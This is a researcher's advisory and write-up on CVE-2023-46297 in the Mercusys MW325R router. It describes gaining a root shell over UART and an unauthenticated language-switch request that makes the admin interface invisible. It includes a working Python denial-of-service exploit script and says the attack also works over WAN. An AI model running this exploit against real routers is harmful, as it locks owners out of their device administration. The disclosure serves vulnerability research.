Mercusys MW325R MW325R(EU)_V3_1.11.0 Build 221019(Multi-language) - CVE-2023-46297
If you find it valuable, you can support me by making a donation. Donate now.
Advisory
Story
I went to a local store to buy some targets. I found a cheap Mercusys (MW325R EU V3) router, after some googling in the shop I realized there are not many Mercusys vulnerabilities. It was a challenge, and I accepted it. It was a funny, and interesting reverse engineering project. On the first day, I found a funny vulnerability on the login page, at first I had no idea what is the problem. With my new HW hacking tools, I obtained a "root" shell on the device, and I figured out the root cause of the vulnerability. I was surprised a little bit because of the operating system. It was not a Linux operating system, it was custom-made stuff. MiniFS filesystem, no "classic" programs, there was a special debugging menu with special programs. It was new to me, and I was sure I would enjoy it.
I found multiple vulnerabilities during the reverse engineering process, and I reported them to the Vendor. In this part, I will focus on CVE-2023-46297 only.
Vulnerability Description
An attacker can make the admin interface "unreachable/invisible" with an HTTP request without authentication. Verification of the data sent by the user is not checked. The web server does not crash, but the admin interface is not visible, as the files necessary to display the content will not be available. A reboot of the router is required to restore the correct behavior. It is possible to restore it with another request. But for this, the vulnerability must be known.
- Hardware model: Mercusys MW325R EU V3
- Firmware: MW325R(EU)_V3_1.11.0 Build 221019
I have published the technical details via vsociety: https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-1-root-shell-cve-2023-46297 as well.
Technical Details
As usual, I started the task with OSINT and getting to know the software. It is important to get familiar with the device.
Official Firmware, Release Notes, Emulator, etc: https://www.mercusys.com/hu/download/mw325r
- Mercusys belongs to TP-Link.
- Mercusys, Qualcomm, and MediaTek have strong cooperation.
- Cheaper TP-Link?
- According to the reviews (e.g.: Amazon it is cheap and slow.)
There are 3 main versions in my region, and I have version 3. For this device, there is only 1 firmware. There are no updates. I also checked the older versions. Version 2 has multiple firmware, added IPTV support, and bug fixes. No vulnerability information was found.
The firmware was small (only 1.6M). Binwalk did not work, the extracted size was -1.
I checked the communication with BURP. I found the first vulnerability while getting to know the device. To understand the exact reason, additional steps were necessary. Now I will only tell you the necessary steps.
The Hardware
Hardware Layout
Mediatek MT7628KN
More info: https://www.mediatek.com/products/home-networking/mt7628k-n-a
Serial Flash memory
Maybe useful: https://pdf1.alldatasheet.com/datasheet-pdf/view/458190/EON/EN25QH16-104HIP.html
UART interface
What is UART?
UART is a debugging interface. A UART channel has two data lines. On each device, there is an RX pin and a TX pin (RX for receive and TX for transmit). The RX pin of each device is connected to the TX pin of the other. Note that there is no shared clock line. This is the "asynchronous" aspect of Universal Asynchronous Receiver Transmitter. There is a VCC pin, but it is not important to us.
More information about the protocol: https://vanhunteradams.com/Protocols/UART/UART.html
UART shell
I have checked the PCB and the traces. The first two pins have traces, but the other two have not. The first two are RX and TX, and the third one is the GND. The fourth one that has a squared shape is probably the VCC.
I unplugged the device. I used the multimeter's continuity feature. I looked for the ground at the power connection, and I put one test lead of the multimeter there, and I checked the 4 pins. One of these pins should register continuity, the third one is the GND.
The next step is the VCC. I plugged in the device, and I used the multimeter in voltage mode. I put the negative cable to the GND pin, and I checked the other pins. The squared one provided a steady and constant voltage, so it is the VCC.
The fastest way to find the appropriate baud rate is by trial and error, I mostly encountered 115200, 57600, and 9600.
I used my USB serial converter and the "screen" program. The rate was 115200.
# Baud-rate is the desired baud rate setting for the RS-232 serial console port in bits per second (bps). Valid values are 110, 300, 1200, 2400, 4800, 9600, 19200, 38400, 57600, or 115200.
screen -L /dev/tty.USB0 115200
Root shell
I had a working interactive root shell. I was a little surprised, I was expecting a Linux-like OS, but the commands were quite limited. The file system was also strange at first, there are no commands such as "cd". There are tasks instead of processes or programs, but more on that later. Exploitation promises to be interesting since at the end I must write my exploit.
The language-switching feature
A user can change the language using the "Language Switch" feature, which does not require authentication.
A normal request was the following:
I changed the "currentLanguge" parameter to "k4m1ll0".
Note: The "languageList" parameter is also vulnerable.
If we reload the page the content will be invisible to everybody. :) There will be a white page only.
The service is running, but the content is not visible.
In the debug console the problem is visible, the "currentLanguage" parameter is not checked properly. If we set the language to a non-existing language it will save the changes. After reloading the page will become "invisible", because the necessary files do not exist.
Exploit
#!/usr/bin/python3
import requests
if __name__ == "__main__":
URL = "http://192.168.1.1/?code=1&asyn=0"
session = requests.session()
# proxies = { 'http' : 'http://127.0.0.1:8080' }
proxies = { }
headers = { 'Content-Type' : 'text/plain;charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Referer' : 'http://192.168.1.1' }
data = 'id 50|1,0,0\r\n'
data += 'currentLanguage k4m1ll0\r\n'
data += 'languageList en_US%ch_TW\r\n'
data += 'setByUser 0\r\n'
session.post(URL, headers=headers, proxies=proxies, data=data)
It creates a simple HTTP request and changes the parameter. The "Referer" header is important. It is a security feature, and it can be turned on. It works with the WAN interface as well, but in that case, the `Referer` and IP must changed. The "proxies" variable can be used for debugging.
It is possible to go one level deeper and analyze the binary behind the scenes, but it is not that easy. We need the content of the filesystem, we need the flash content, etc.
In the next part, I will cover that topic as well.
Video
Disclosure timeline
© 2019-2026 Kamilló Matek (k4m1ll0) All Rights Reserved